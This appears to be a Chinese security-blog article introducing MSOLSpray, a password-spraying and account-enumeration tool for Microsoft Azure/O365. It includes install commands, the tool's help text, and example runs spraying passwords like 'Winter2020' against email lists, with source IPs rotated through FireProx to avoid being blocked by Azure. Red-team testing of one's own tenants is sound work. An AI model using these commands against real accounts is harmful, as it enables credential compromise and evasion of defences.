前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MSOLSpray:一款针对微软在线账号(AzureO365)的密码喷射与安全测试工具

MSOLSpray:一款针对微软在线账号(AzureO365)的密码喷射与安全测试工具

作者头像
FB客服
发布2024-04-15 14:49:06
920
发布2024-04-15 14:49:06
举报
文章被收录于专栏:FreeBufFreeBuf
关于MSOLSpray

MSOLSpray是一款针对微软在线账号(Azure/O365)的密码喷射与安全测试工具,在该工具的帮助下,广大研究人员可以直接对目标账户执行安全检测。支持检测的内容包括目标账号凭证是否有效、账号是否启用了MFA、租户账号是否存在、用户账号是否存在、账号是否被锁定或账号是否被禁用等情况。

在使用该工具执行测试期间,请注意不要因为失误操作而导致账号被锁定。

值得一提的是,该工具并不仅仅是一个密码喷射工具,因为该工具还可以帮助我们对目标账号或域进行网络侦查和枚举。在测试过程中,如果检测到了针对Microsoft Online OAuth2的有效登录时,该工具并不会自动触发MFA文本或推送通知,这一点对于红队测试来说非常有用。而且,该工具能够跟FireProx完美搭配使用,支持在身份验证请求时轮换源IP地址,这样可以有效避免测试被Azure屏蔽或阻止。

工具安装&配置

Python版本

首先,我们需要在本地设备上安装并配置好最新版本的Python 3环境。然后执行下列命令安装requests库:

代码语言:javascript
复制
pip3 install requests

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/MartinIngesen/MSOLSpray.git

最后,切换到项目目录中,并运行工具脚本即可:

代码语言:javascript
复制
cd MSOLSpray

python3 MSOLSpray.py

PowerShell版本

针对MSOLSpray的PowerShell版本安装,广大研究人员可以直接使用下列命令获取项目源码:

代码语言:javascript
复制
git clone https://github.com/dafthack/MSOLSpray.git


工具使用



Python版本

我们需要提前准备好一个包含目标电子邮箱地址(每一个地址单独一行)的userlist用户列表文件。下面给出的是Python版本MSOLSpray的命令帮助选项:

代码语言:javascript
复制
usage: MSOLSpray.py [-h] -u FILE -p PASSWORD [-o OUTFILE] [-f] [--url URL]

 

This is a pure Python rewrite of dafthack's MSOLSpray (https://github.com/dafthack/MSOLSpray/) which is written in PowerShell. All credit goes to him!

 

This script will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.

 

optional arguments:

  -h, --help            显示工具帮助信息和退出

  -u FILE, --userlist FILE

                         UserList目标用户列表文件,每行一个用户名,格式为“user@domain.com" (必须)

  -p PASSWORD, --password PASSWORD

                        用于执行密码喷洒的单个密码 (必须)

  -o OUTFILE, --out OUTFILE

                        输出有效结果的文件

  -f, --force           当检测到多个帐户锁定时,强制继续执行密码喷射操作

  --url URL             需要喷射的目标URL,如果指向的是一个API网关URL,则使用FireProx之类的代理工具随机轮转切换源IP地址https://login.microsoft.com

下列命令将使用提供的用户列表文件并尝试使用密码Winter2020对每个账号执行身份验证测试:

代码语言:javascript
复制
python3 MSOLSpray.py --userlist ./userlist.txt --password Winter2020

下列命令将使用指定的FireProx URL(随机IP地址)来执行密码喷射测试:

代码语言:javascript
复制
python3 MSOLSpray.py --userlist ./userlist.txt --password P@ssword --url https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox --out valid-users.txt

PowerShell版本

首先我们需要提前准备好一个包含目标电子邮箱地址(每一个地址单独一行)的userlist用户列表文件,然后使用“powershell.exe -exec bypass”打开一个PowerSehll命令行终端,并运行下列命令:

代码语言:javascript
复制
Import-Module MSOLSpray.ps1

Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020

Invoke-MSOLSpray参数选项

UserList  - UserList目标用户列表文件,每行一个用户名,格式为“user@domain.com";

Password  - 用于执行密码喷洒的单个密码;

OutFile   - 输出有效结果的文件;

Force     - 当检测到多个帐户锁定时,强制继续执行密码喷射操作;

URL       - 设置目标URL地址,如果指向的是一个API网关URL,则使用FireProx之类的代理工具随机轮转切换源IP地址;

许可证协议



本项目的开发与发布遵循MIT开源许可证协议。

项目地址

纯Python版MSOLSpray:

https://github.com/MartinIngesen/MSOLSpray

纯PowerShell版MSOLSpray:

https://github.com/dafthack/MSOLSpray/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-04-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Python版本
  • PowerShell版本
  • Python版本
  • PowerShell版本
相关产品与服务
腾讯云服务器利旧
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档